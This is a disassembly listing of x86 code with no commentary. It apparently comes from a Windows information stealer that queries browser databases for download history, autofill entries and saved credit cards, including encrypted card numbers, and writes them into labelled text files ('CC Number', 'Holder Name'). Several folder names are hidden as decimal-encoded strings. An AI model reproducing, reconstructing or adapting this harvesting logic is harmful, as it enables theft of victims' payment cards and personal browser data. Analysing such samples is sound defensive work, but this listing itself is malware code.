mov byte [ebp - 4], 0x2c
push ecx
push eax
lea eax, [ebp - 0x15f4]
push eax
call fcn.00452b80
add esp, 0xc
push str._Default.txt
push eax
lea eax, [ebp - 0x194]
mov byte [ebp - 4], 0x2d
push eax
call fcn.00452a70
add esp, 0xc
lea ecx, [ebp - 0xe4]
push eax
call fcn.00446e50
lea ecx, [ebp - 0x194]
call fcn.00406430
lea ecx, [ebp - 0x15f4]
call fcn.00406430
lea ecx, [ebp - 0x34]
jmp 0x428cb5
lea eax, [ebp - 0x17c]
push eax
call fcn.00452a10
add esp, 0xc
lea ecx, [ebp - 0x214]
mov byte [ebp - 4], 0x2e
push ecx
push eax
lea eax, [ebp - 0xcc]
push eax
call fcn.00452b80
add esp, 0xc
push 0x6a7db4
push eax
lea eax, [ebp - 0x34]
mov byte [ebp - 4], 0x2f
push eax
call fcn.00452a70
add esp, 0xc
lea ecx, [ebp - 0xb4]
mov byte [ebp - 4], 0x30
push ecx
push eax
lea eax, [ebp - 0x15f4]
push eax
call fcn.00452b80
add esp, 0xc
push str..txt
push eax
lea eax, [ebp - 0x194]
mov byte [ebp - 4], 0x31
push eax
call fcn.00452a70
add esp, 0xc
lea ecx, [ebp - 0xe4]
push eax
call fcn.00446e50
lea ecx, [ebp - 0x194]
call fcn.00406430
lea ecx, [ebp - 0x15f4]
call fcn.00406430
lea ecx, [ebp - 0x34]
call fcn.00406430
lea ecx, [ebp - 0xcc]
call fcn.00406430
lea ecx, [ebp - 0x17c]
mov byte [ebp - 4], 0x2b
call fcn.00406430
push 0xb0
lea ecx, [ebp - 0x4c8]
call fcn.0042d9a0
push 1
push 0x40
push 8
lea eax, [ebp - 0xe4]
push eax
lea ecx, [ebp - 0x4c8]
call fcn.0043ee40
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0x32
call fcn.0043ee30
test al, al
je 0x428ed6
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00454990
add esp, 8
test al, al
je 0x428e1e
push str.68_101_102_97_117_108_116
lea ecx, [ebp - 0x34]
call fcn.004113c0
lea edx, [ebp - 0x34]
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x194]
call fcn.00424de0
push eax
push dword [ebp - 0x38]
call fcn.00454990
add esp, 8
lea ecx, [ebp - 0x194]
test al, al
sete byte [ebp - 0x15c9]
call fcn.00447640
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x32
call fcn.00447640
cmp byte [ebp - 0x15c9], 0
je 0x428e1e
lea ecx, [ebp - 0x4c8]
call fcn.0042d910
lea ecx, [ebp - 0xe4]
call fcn.00406430
lea ecx, [ebp - 0x164]
call fcn.00406430
lea ecx, [ebp - 0x9c]
call fcn.00447640
mov byte [ebp - 4], 0x14
push dword [ebp - 0x14d8]
call fcn.00566b40
add esp, 4
lea eax, [ebp - 0x14d8]
push 0
push eax
push 0xffffffffffffffff
push str.SELECT_target_path__tab_url_FROM_downloads
push dword [ebp - 0x14e0]
call fcn.00565480
add esp, 0x14
test eax, eax
je 0x428f30
push dword [ebp - 0x14e0]
call fcn.00562bf0
add esp, 4
lea ecx, [ebp - 0x74]
call fcn.00447640
lea ecx, [ebp - 0x108]
call fcn.00447640
lea ecx, [ebp - 0x1e8]
call fcn.00447640
lea ecx, [ebp - 0xb4]
call fcn.00406430
lea ecx, [ebp - 0x530]
call fcn.0043f270
jmp 0x427533
lea eax, [ebp - 0x4c8]
push str.URL_:
push eax
call fcn.00453340
add esp, 8
push dword [ebp - 0x15f8]
push eax
call fcn.00453340
add esp, 8
mov ecx, eax
push fcn.00458f90
call fcn.00446670
lea eax, [ebp - 0x4c8]
push str.TITLE_:
push eax
call fcn.00453340
add esp, 8
push dword [ebp - 0x15fc]
push eax
call fcn.00453340
add esp, 8
mov ecx, eax
push fcn.00458f90
call fcn.00446670
lea eax, [ebp - 0x4c8]
push str.VISIT_COUNT_:
push eax
call fcn.00453340
add esp, 8
push dword [ebp - 0x160c]
push eax
call fcn.00453340
add esp, 8
mov ecx, eax
push fcn.00458f90
call fcn.00446670
lea eax, [ebp - 0x4c8]
push str.__________________________________
push eax
call fcn.00453340
add esp, 8
mov ecx, eax
push fcn.00458f90
call fcn.00446670
lea ecx, [ebp - 0x4c8]
call fcn.0043edf0
lea ecx, [ebp - 0x4c8]
call fcn.0042d910
lea ecx, [ebp - 0xe4]
call fcn.00406430
lea ecx, [ebp - 0x164]
call fcn.00406430
lea ecx, [ebp - 0x9c]
call fcn.00447640
mov dword [ebp - 4], 0x114
jmp 0x4289f0
mov dword [ebp - 4], 0x114
nop dword [eax]
push dword [ebp - 0x14d8]
call fcn.005661b0
add esp, 4
cmp eax, 0x64
jne 0x4292d3
push 0
push dword [ebp - 0x14d8]
call fcn.00566680
push 1
push dword [ebp - 0x14d8]
mov edi, eax
mov dword [ebp - 0x15f8], edi
call fcn.00566680
add esp, 0x10
mov esi, eax
mov dword [ebp - 0x15fc], esi
test edi, edi
je 0x428f30
mov ecx, edi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x428f80
sub ecx, edx
je 0x428f30
test esi, esi
je 0x428f30
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x428f94
sub ecx, edx
je 0x428f30
push str.92_68_111_119_110_108_111_97_100_115
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x35
call fcn.00423c90
lea edx, [ebp - 0x34]
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x9c]
call fcn.00421f10
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x38
call fcn.00406430
lea ecx, [ebp - 0x161b]
call fcn.00411420
mov edi, eax
lea ecx, [ebp - 0x9c]
lea eax, [ebp - 0x1678]
push eax
call fcn.00447300
lea ecx, [ebp - 0x9c]
mov esi, dword [eax]
lea eax, [ebp - 0x1630]
push eax
call fcn.00423c70
push edi
push esi
lea ecx, [ebp - 0x194]
push dword [eax]
call fcn.00459570
push eax
mov edx, 0x6ed414
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x164]
call fcn.00452b20
add esp, 4
lea ecx, [ebp - 0x194]
mov byte [ebp - 4], 0x3b
call fcn.00406430
push 0
lea eax, [ebp - 0x164]
push eax
lea ecx, [ebp - 0x34]
call fcn.004516c0
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x3c
call fcn.00409800
test al, al
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0x34]
sete byte [ebp - 0x15c9]
call fcn.00406430
cmp byte [ebp - 0x15c9], 0
je 0x429097
push 0
lea eax, [ebp - 0x164]
push eax
lea ecx, [ebp - 0x34]
call fcn.004516c0
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x3d
call fcn.004099d0
lea ecx, [ebp - 0x34]
call fcn.00406430
lea ecx, [ebp - 0xe4]
call fcn.00446fe0
lea eax, [ebp - 0x1cc]
mov byte [ebp - 4], 0x3e
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00454990
add esp, 8
test al, al
lea eax, [ebp - 0x164]
push 0x6a50ac
push eax
je 0x429136
lea eax, [ebp - 0x34]
push eax
call fcn.00452a10
add esp, 0xc
lea ecx, [ebp - 0x214]
mov byte [ebp - 4], 0x3f
push ecx
push eax
lea eax, [ebp - 0x15f4]
push eax
call fcn.00452b80
add esp, 0xc
push str._Default.txt
push eax
lea eax, [ebp - 0x194]
mov byte [ebp - 4], 0x40
push eax
call fcn.00452a70
add esp, 0xc
lea ecx, [ebp - 0xe4]
push eax
call fcn.00446e50
lea ecx, [ebp - 0x194]
call fcn.00406430
lea ecx, [ebp - 0x15f4]
call fcn.00406430
lea ecx, [ebp - 0x34]
jmp 0x4291e5
lea eax, [ebp - 0x17c]
push eax
call fcn.00452a10
add esp, 0xc
lea ecx, [ebp - 0x214]
mov byte [ebp - 4], 0x41
push ecx
push eax
lea eax, [ebp - 0xcc]
push eax
call fcn.00452b80
add esp, 0xc
push 0x6a7db4
push eax
lea eax, [ebp - 0x34]
mov byte [ebp - 4], 0x42
push eax
call fcn.00452a70
add esp, 0xc
lea ecx, [ebp - 0xb4]
mov byte [ebp - 4], 0x43
push ecx
push eax
lea eax, [ebp - 0x15f4]
push eax
call fcn.00452b80
add esp, 0xc
push str..txt
push eax
lea eax, [ebp - 0x194]
mov byte [ebp - 4], 0x44
push eax
call fcn.00452a70
add esp, 0xc
lea ecx, [ebp - 0xe4]
push eax
call fcn.00446e50
lea ecx, [ebp - 0x194]
call fcn.00406430
lea ecx, [ebp - 0x15f4]
call fcn.00406430
lea ecx, [ebp - 0x34]
call fcn.00406430
lea ecx, [ebp - 0xcc]
call fcn.00406430
lea ecx, [ebp - 0x17c]
mov byte [ebp - 4], 0x3e
call fcn.00406430
push 0xb0
lea ecx, [ebp - 0x4c8]
call fcn.0042d9a0
push 1
push 0x40
push 8
lea eax, [ebp - 0xe4]
push eax
lea ecx, [ebp - 0x4c8]
call fcn.0043ee40
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0x45
call fcn.0043ee30
test al, al
je 0x429418
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00454990
add esp, 8
test al, al
je 0x42938f
push str.68_101_102_97_117_108_116
lea ecx, [ebp - 0x34]
call fcn.004113c0
lea edx, [ebp - 0x34]
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0x194]
call fcn.00424de0
push eax
push dword [ebp - 0x38]
call fcn.00454990
add esp, 8
lea ecx, [ebp - 0x194]
test al, al
sete byte [ebp - 0x15c9]
call fcn.00447640
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x45
call fcn.00447640
cmp byte [ebp - 0x15c9], 0
je 0x42938f
lea ecx, [ebp - 0x4c8]
call fcn.0042d910
lea ecx, [ebp - 0xe4]
call fcn.00406430
lea ecx, [ebp - 0x164]
call fcn.00406430
lea ecx, [ebp - 0x9c]
call fcn.00447640
mov byte [ebp - 4], 0x14
push dword [ebp - 0x14d8]
call fcn.00566b40
add esp, 4
push dword [ebp - 0x14e0]
call fcn.00562bf0
add esp, 4
lea eax, [ebp - 0x74]
lea ecx, [ebp - 0x34]
push 0
push eax
call fcn.0045a110
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x48
call fcn.00409800
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x15c9], al
mov byte [ebp - 4], 0x14
call fcn.00406430
cmp byte [ebp - 0x15c9], 0
je 0x429346
push 0
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x34]
call fcn.0045a110
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x49
call fcn.004099a0
lea ecx, [ebp - 0x34]
call fcn.00406430
mov esi, dword [ebp - 0x40]
lea ecx, [ebp - 0x74]
call fcn.00447640
lea ecx, [ebp - 0x108]
call fcn.00447640
lea ecx, [ebp - 0x1e8]
call fcn.00447640
lea ecx, [ebp - 0xb4]
call fcn.00406430
lea ecx, [ebp - 0x530]
mov dword [ebp - 4], 0xb5
call fcn.0043f270
add esi, 0x18
mov dword [ebp - 0x40], esi
jmp 0x4286a6
lea eax, [ebp - 0x4c8]
push str.TARGET_PATH_:
push eax
call fcn.00453340
add esp, 8
push dword [ebp - 0x15f8]
push eax
call fcn.00453340
add esp, 8
mov ecx, eax
push fcn.00458f90
call fcn.00446670
lea eax, [ebp - 0x4c8]
push str.FILE_DOWNLOADED_:
push eax
call fcn.00453340
add esp, 8
push dword [ebp - 0x15fc]
push eax
call fcn.00453340
add esp, 8
mov ecx, eax
push fcn.00458f90
call fcn.00446670
lea eax, [ebp - 0x4c8]
push str.__________________________________
push eax
call fcn.00453340
add esp, 8
mov ecx, eax
push fcn.00458f90
call fcn.00446670
lea ecx, [ebp - 0x4c8]
call fcn.0043edf0
lea ecx, [ebp - 0x4c8]
call fcn.0042d910
lea ecx, [ebp - 0xe4]
call fcn.00406430
lea ecx, [ebp - 0x164]
call fcn.00406430
lea ecx, [ebp - 0x9c]
call fcn.00447640
jmp 0x428f26
lea ecx, [ebp - 0xf0]
call fcn.00408a70
mov esi, eax
lea ecx, [ebp - 0xf0]
mov dword [ebp - 0x40], esi
call fcn.00414730
mov dword [ebp - 0x15d0], eax
mov ecx, esi
cmp ecx, dword [ebp - 0x15d0]
je 0x42a37a
push 0x6a7b00
lea eax, [ebp - 0x144]
mov dword [ebp - 0x38], esi
push eax
lea eax, [ebp - 0x194]
push eax
call fcn.004513b0
add esp, 0xc
push esi
push eax
lea eax, [ebp - 0x164]
mov dword [ebp - 4], 0x14a
push eax
call fcn.00451520
add esp, 0xc
lea ecx, [ebp - 0x194]
mov byte [ebp - 4], 0x4c
call fcn.00447640
push 0x50
lea eax, [ebp - 0x530]
push 0
push eax
call fcn.006213c0
add esp, 0xc
lea ecx, [ebp - 0x530]
call fcn.0043f330
push esi
lea eax, [ebp - 0x1e8]
mov byte [ebp - 4], 0x4d
push eax
lea ecx, [ebp - 0x530]
call fcn.0043f240
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0x108]
push dword [ebp - 0x1630]
call fcn.00411400
lea ecx, [ebp - 0x108]
call fcn.0044c610
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0x74]
push dword [ebp - 0x1630]
call fcn.00411400
lea ecx, [ebp - 0x74]
call fcn.0044c610
lea eax, [ebp - 0x1cc]
mov byte [ebp - 4], 0x52
push eax
lea ecx, [ebp - 0x120]
call fcn.00466810
lea ecx, [ebp - 0x34]
push str.92_87_101_98_32_68_97_116_97
test al, al
je 0x429629
call fcn.004113c0
lea edx, [ebp - 0x34]
mov byte [ebp - 4], 0x53
lea ecx, [ebp - 0x15f4]
call fcn.00424de0
push eax
lea edx, [ebp - 0x144]
mov byte [ebp - 4], 0x54
lea ecx, [ebp - 0x194]
call fcn.004514c0
add esp, 4
lea ecx, [ebp - 0x108]
push eax
call fcn.00447690
lea ecx, [ebp - 0x194]
call fcn.00447640
lea ecx, [ebp - 0x15f4]
call fcn.00447640
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x52
call fcn.00447640
push str.92_70_114_101_100_121_95_87_101_98_95_68_97_116_97
lea ecx, [ebp - 0x34]
call fcn.004113c0
lea edx, [ebp - 0x34]
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0x15f4]
call fcn.00424de0
push eax
lea edx, [ebp - 0x144]
mov byte [ebp - 4], 0x56
lea ecx, [ebp - 0x194]
call fcn.004514c0
add esp, 4
lea ecx, [ebp - 0x74]
push eax
call fcn.00447690
lea ecx, [ebp - 0x194]
call fcn.00447640
lea ecx, [ebp - 0x15f4]
call fcn.00447640
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x52
call fcn.00447640
jmp 0x4296ea
call fcn.004113c0
lea edx, [ebp - 0x34]
mov byte [ebp - 4], 0x57
lea ecx, [ebp - 0x15f4]
call fcn.00424de0
push eax
lea edx, [ebp - 0x164]
mov byte [ebp - 4], 0x58
lea ecx, [ebp - 0x194]
call fcn.004514c0
add esp, 4
lea ecx, [ebp - 0x108]
push eax
call fcn.00447690
lea ecx, [ebp - 0x194]
call fcn.00447640
lea ecx, [ebp - 0x15f4]
call fcn.00447640
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x52
call fcn.00447640
push str.92_70_114_101_100_121_95_87_101_98_95_68_97_116_97
lea ecx, [ebp - 0x34]
call fcn.004113c0
lea edx, [ebp - 0x34]
mov byte [ebp - 4], 0x59
lea ecx, [ebp - 0x15f4]
call fcn.00424de0
push eax
lea edx, [ebp - 0x164]
mov byte [ebp - 4], 0x5a
lea ecx, [ebp - 0x194]
call fcn.004514c0
add esp, 4
lea ecx, [ebp - 0x74]
push eax
call fcn.00447690
lea ecx, [ebp - 0x194]
call fcn.00447640
lea ecx, [ebp - 0x15f4]
call fcn.00447640
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x52
call fcn.00447640
push 0
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x34]
call fcn.0045a110
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x5b
call fcn.00409800
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x15c9], al
mov byte [ebp - 4], 0x52
call fcn.00406430
cmp byte [ebp - 0x15c9], 0
je 0x42a269
push 0
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x34]
call fcn.0045a110
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x5c
call fcn.00409800
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x15c9], al
mov byte [ebp - 4], 0x52
call fcn.00406430
cmp byte [ebp - 0x15c9], 0
je 0x429781
push 0
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x34]
call fcn.0045a110
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x5d
call fcn.004099a0
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x52
call fcn.00406430
push 0
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0xcc]
call fcn.0045a110
push 0
lea eax, [ebp - 0x108]
mov byte [ebp - 4], 0x5e
push eax
lea ecx, [ebp - 0x34]
call fcn.0045a110
push 0
lea edx, [ebp - 0xcc]
mov byte [ebp - 4], 0x5f
lea ecx, [ebp - 0x34]
call fcn.004096f0
add esp, 4
mov byte [ebp - 0x15c9], al
lea ecx, [ebp - 0x34]
call fcn.00406430
lea ecx, [ebp - 0xcc]
mov byte [ebp - 4], 0x52
call fcn.00406430
cmp byte [ebp - 0x15c9], 0
je 0x42a269
lea eax, [ebp - 0x14e4]
push eax
lea ecx, [ebp - 0x74]
call fcn.00447230
push eax
call fcn.00564840
add esp, 8
test eax, eax
jne 0x429cea
push eax
lea eax, [ebp - 0x14d4]
push eax
push 0xffffffffffffffff
push str.SELECT_name_on_card__expiration_month__expiration_year__card_number_encrypted_FROM_credit_cards
push dword [ebp - 0x14e4]
call fcn.00565480
add esp, 0x14
test eax, eax
jne 0x429cea
nop dword [eax]
push dword [ebp - 0x14d4]
call fcn.005661b0
add esp, 4
cmp eax, 0x64
jne 0x429cb6
push 0
push dword [ebp - 0x14d4]
call fcn.00566680
push 1
push dword [ebp - 0x14d4]
mov dword [ebp - 0x1610], eax
call fcn.00566680
push 2
push dword [ebp - 0x14d4]
mov esi, eax
mov dword [ebp - 0x15fc], esi
call fcn.00566680
push 3
push dword [ebp - 0x14d4]
mov edi, eax
mov dword [ebp - 0x160c], edi
call fcn.00566680
add esp, 0x20
mov edx, eax
mov dword [ebp - 0x15f8], edx
test esi, esi
je 0x429830
mov ecx, esi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4298a5
sub ecx, esi
je 0x429830
test edi, edi
je 0x429830
mov ecx, edi
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4298c0
sub ecx, esi
je 0x429830
test edx, edx
je 0x429830
mov ecx, edx
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4298e0
sub ecx, edx
je 0x429830
lea ecx, [ebp - 0x161a]
mov byte [ebp - 4], 0x60
call fcn.00411420
mov edi, eax
lea ecx, [ebp - 0x12c]
lea eax, [ebp - 0x167c]
push eax
call fcn.00443730
lea ecx, [ebp - 0x12c]
mov esi, dword [eax]
lea eax, [ebp - 0x1680]
push eax
call fcn.00443740
push edi
push esi
lea ecx, [ebp - 0x194]
push dword [eax]
call fcn.0045a580
mov esi, eax
push dword [ebp - 0x15f8]
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x61
call fcn.004113c0
push esi
lea eax, [ebp - 0x34]
mov byte [ebp - 4], 0x62
push eax
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x39]
call fcn.0042b770
lea ecx, [ebp - 0x34]
call fcn.00447640
lea ecx, [ebp - 0x194]
mov byte [ebp - 4], 0x65
call fcn.00447640
push str.92_67_114_101_100_105_116_95_67_97_114_100_115
lea ecx, [ebp - 0xcc]
call fcn.00423c90
lea edx, [ebp - 0xcc]
mov byte [ebp - 4], 0x66
lea ecx, [ebp - 0x9c]
call fcn.00421f10
lea ecx, [ebp - 0xcc]
mov byte [ebp - 4], 0x68
call fcn.00406430
lea ecx, [ebp - 0x1629]
call fcn.00411420
mov edi, eax
lea ecx, [ebp - 0x9c]
lea eax, [ebp - 0x1684]
push eax
call fcn.00447300
lea ecx, [ebp - 0x9c]
mov esi, dword [eax]
lea eax, [ebp - 0x1688]
push eax
call fcn.00423c70
push edi
push esi
lea ecx, [ebp - 0x194]
push dword [eax]
call fcn.00459570
push eax
mov edx, 0x6ed414
mov byte [ebp - 4], 0x69
lea ecx, [ebp - 0xb4]
call fcn.00452b20
add esp, 4
mov byte [ebp - 4], 0x6b
lea ecx, [ebp - 0x194]
call fcn.00406430
push 0
lea eax, [ebp - 0xb4]
push eax
lea ecx, [ebp - 0x34]
call fcn.004516c0
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x6c
call fcn.00409800
test al, al
mov byte [ebp - 4], 0x6b
lea ecx, [ebp - 0x34]
sete byte [ebp - 0x15c9]
call fcn.00406430
cmp byte [ebp - 0x15c9], 0
je 0x429a72
push 0
lea eax, [ebp - 0xb4]
push eax
lea ecx, [ebp - 0x34]
call fcn.004516c0
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x6d
call fcn.004099d0
lea ecx, [ebp - 0x34]
call fcn.00406430
lea ecx, [ebp - 0xe4]
call fcn.00446fe0
lea eax, [ebp - 0x1cc]
mov byte [ebp - 4], 0x6e
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00454990
add esp, 8
test al, al
lea eax, [ebp - 0xb4]
push 0x6a50ac
push eax
je 0x429b11
lea eax, [ebp - 0x34]
push eax
call fcn.00452a10
add esp, 0xc
lea ecx, [ebp - 0x214]
mov byte [ebp - 4], 0x6f
push ecx
push eax
lea eax, [ebp - 0x15f4]
push eax
call fcn.00452b80
add esp, 0xc
push str._Default.txt
push eax
lea eax, [ebp - 0x194]
mov byte [ebp - 4], 0x70
push eax
call fcn.00452a70
add esp, 0xc
lea ecx, [ebp - 0xe4]
push eax
call fcn.00446e50
lea ecx, [ebp - 0x194]
call fcn.00406430
lea ecx, [ebp - 0x15f4]
call fcn.00406430
lea ecx, [ebp - 0x34]
jmp 0x429bc0
lea eax, [ebp - 0x17c]
push eax
call fcn.00452a10
add esp, 0xc
lea ecx, [ebp - 0x214]
mov byte [ebp - 4], 0x71
push ecx
push eax
lea eax, [ebp - 0xcc]
push eax
call fcn.00452b80
add esp, 0xc
push 0x6a7db4
push eax
lea eax, [ebp - 0x34]
mov byte [ebp - 4], 0x72
push eax
call fcn.00452a70
add esp, 0xc
lea ecx, [ebp - 0x1e8]
mov byte [ebp - 4], 0x73
push ecx
push eax
lea eax, [ebp - 0x15f4]
push eax
call fcn.00452b80
add esp, 0xc
push str..txt
push eax
lea eax, [ebp - 0x194]
mov byte [ebp - 4], 0x74
push eax
call fcn.00452a70
add esp, 0xc
lea ecx, [ebp - 0xe4]
push eax
call fcn.00446e50
lea ecx, [ebp - 0x194]
call fcn.00406430
lea ecx, [ebp - 0x15f4]
call fcn.00406430
lea ecx, [ebp - 0x34]
call fcn.00406430
lea ecx, [ebp - 0xcc]
call fcn.00406430
lea ecx, [ebp - 0x17c]
mov byte [ebp - 4], 0x6e
call fcn.00406430
push 0xb0
lea ecx, [ebp - 0x4c8]
call fcn.0042d9a0
push 1
push 0x40
push 8
lea eax, [ebp - 0xe4]
push eax
lea ecx, [ebp - 0x4c8]
call fcn.0043ee40
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0x75
call fcn.0043ee30
test al, al
je 0x429df1
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00454990
add esp, 8
test al, al
je 0x429d2c
push str.68_101_102_97_117_108_116
lea ecx, [ebp - 0x34]
call fcn.004113c0
lea edx, [ebp - 0x34]
mov byte [ebp - 4], 0x76
lea ecx, [ebp - 0x194]
call fcn.00424de0
push eax
push dword [ebp - 0x38]
call fcn.00454990
add esp, 8
lea ecx, [ebp - 0x194]
test al, al
sete byte [ebp - 0x15c9]
call fcn.00447640
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x75
call fcn.00447640
cmp byte [ebp - 0x15c9], 0
je 0x429d2c
lea ecx, [ebp - 0x4c8]
call fcn.0042d910
lea ecx, [ebp - 0xe4]
call fcn.00406430
lea ecx, [ebp - 0xb4]
call fcn.00406430
lea ecx, [ebp - 0x9c]
call fcn.00447640
lea ecx, [ebp - 0x58]
call fcn.00447640
mov byte [ebp - 4], 0x52
push dword [ebp - 0x14d4]
call fcn.00566b40
add esp, 4
lea eax, [ebp - 0x14d4]
push 0
push eax
push 0xffffffffffffffff
push str.SELECT_name__value_FROM_autofill
push dword [ebp - 0x14e4]
call fcn.00565480
add esp, 0x14
test eax, eax
je 0x429e50
push dword [ebp - 0x14e4]
call fcn.00562bf0
add esp, 4
lea ecx, [ebp - 0x74]
call fcn.00447640
lea ecx, [ebp - 0x108]
call fcn.00447640
lea ecx, [ebp - 0x1e8]
call fcn.00406430
lea ecx, [ebp - 0x530]
call fcn.0043f270
lea ecx, [ebp - 0x164]
jmp 0x42752e
lea eax, [ebp - 0x4c8]
push str.CC_Number_:
push eax
call fcn.00453340
add esp, 8
lea ecx, [ebp - 0x58]
push ecx
push eax
call fcn.00453320
add esp, 8
mov ecx, eax
push fcn.00458f90
call fcn.00446670
lea eax, [ebp - 0x4c8]
push str.Exp_Month_:
push eax
call fcn.00453340
add esp, 8
push dword [ebp - 0x15fc]
push eax
call fcn.00453340
add esp, 8
mov ecx, eax
push fcn.00458f90
call fcn.00446670
lea eax, [ebp - 0x4c8]
push str.Exp_Year_:
push eax
call fcn.00453340
add esp, 8
push dword [ebp - 0x160c]
push eax
call fcn.00453340
add esp, 8
mov ecx, eax
push fcn.00458f90
call fcn.00446670
lea eax, [ebp - 0x4c8]
push str.Holder_Name_:
push eax
call fcn.00453340
add esp, 8
push dword [ebp - 0x1610]
push eax
call fcn.00453340
add esp, 8
mov ecx, eax
push fcn.00458f90
call fcn.00446670
lea ecx, [ebp - 0x4c8]
call fcn.0043edf0
lea ecx, [ebp - 0x4c8]
call fcn.0042d910
lea ecx, [ebp - 0xe4]
call fcn.00406430
lea ecx, [ebp - 0xb4]
call fcn.00406430
lea ecx, [ebp - 0x9c]
call fcn.00447640
lea ecx, [ebp - 0x58]
call fcn.00447640
mov dword [ebp - 4], 0x152
jmp 0x429830
mov dword [ebp - 4], 0x152
push dword [ebp - 0x14d4]
call fcn.005661b0
add esp, 4
cmp eax, 0x64
jne 0x42a1f3
push 0
push dword [ebp - 0x14d4]
call fcn.00566680
push 1
push dword [ebp - 0x14d4]
mov edi, eax
mov dword [ebp - 0x15f8], edi
call fcn.00566680
add esp, 0x10
mov esi, eax
mov dword [ebp - 0x15fc], esi
test edi, edi
je 0x429e50
mov ecx, edi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x429ea0
sub ecx, edx
je 0x429e50
test esi, esi
je 0x429e50
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x429eb4
sub ecx, edx
je 0x429e50
push str.92_65_117_116_111_102_105_108_108
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x78
call fcn.00423c90
lea edx, [ebp - 0x34]
mov byte [ebp - 4], 0x79
lea ecx, [ebp - 0x9c]
call fcn.00421f10
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x7b
call fcn.00406430
lea ecx, [ebp - 0x1622]
call fcn.00411420
mov edi, eax
lea ecx, [ebp - 0x9c]
lea eax, [ebp - 0x168c]
push eax
call fcn.00447300
lea ecx, [ebp - 0x9c]
mov esi, dword [eax]
lea eax, [ebp - 0x16e4]
push eax
call fcn.00423c70
push edi
push esi
lea ecx, [ebp - 0x194]
push dword [eax]
call fcn.00459570
push eax
mov edx, 0x6ed414
mov byte [ebp - 4], 0x7c
lea ecx, [ebp - 0xb4]
call fcn.00452b20
add esp, 4
lea ecx, [ebp - 0x194]
mov byte [ebp - 4], 0x7e
call fcn.00406430
push 0
lea eax, [ebp - 0xb4]
push eax
lea ecx, [ebp - 0x34]
call fcn.004516c0
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x7f
call fcn.00409800
test al, al
mov byte [ebp - 4], 0x7e
lea ecx, [ebp - 0x34]
sete byte [ebp - 0x15c9]
call fcn.00406430
cmp byte [ebp - 0x15c9], 0
je 0x429fb7
push 0
lea eax, [ebp - 0xb4]
push eax
lea ecx, [ebp - 0x34]
call fcn.004516c0
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x80
call fcn.004099d0
lea ecx, [ebp - 0x34]
call fcn.00406430
lea ecx, [ebp - 0xe4]
call fcn.00446fe0
lea eax, [ebp - 0x1cc]
mov byte [ebp - 4], 0x81
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00454990
add esp, 8
test al, al
lea eax, [ebp - 0xb4]
push 0x6a50ac
push eax
je 0x42a056
lea eax, [ebp - 0x34]
push eax
call fcn.00452a10
add esp, 0xc
lea ecx, [ebp - 0x214]
mov byte [ebp - 4], 0x82
push ecx
push eax
lea eax, [ebp - 0x15f4]
push eax
call fcn.00452b80
add esp, 0xc
push str._Default.txt
push eax
lea eax, [ebp - 0x194]
mov byte [ebp - 4], 0x83
push eax
call fcn.00452a70
add esp, 0xc
lea ecx, [ebp - 0xe4]
push eax
call fcn.00446e50
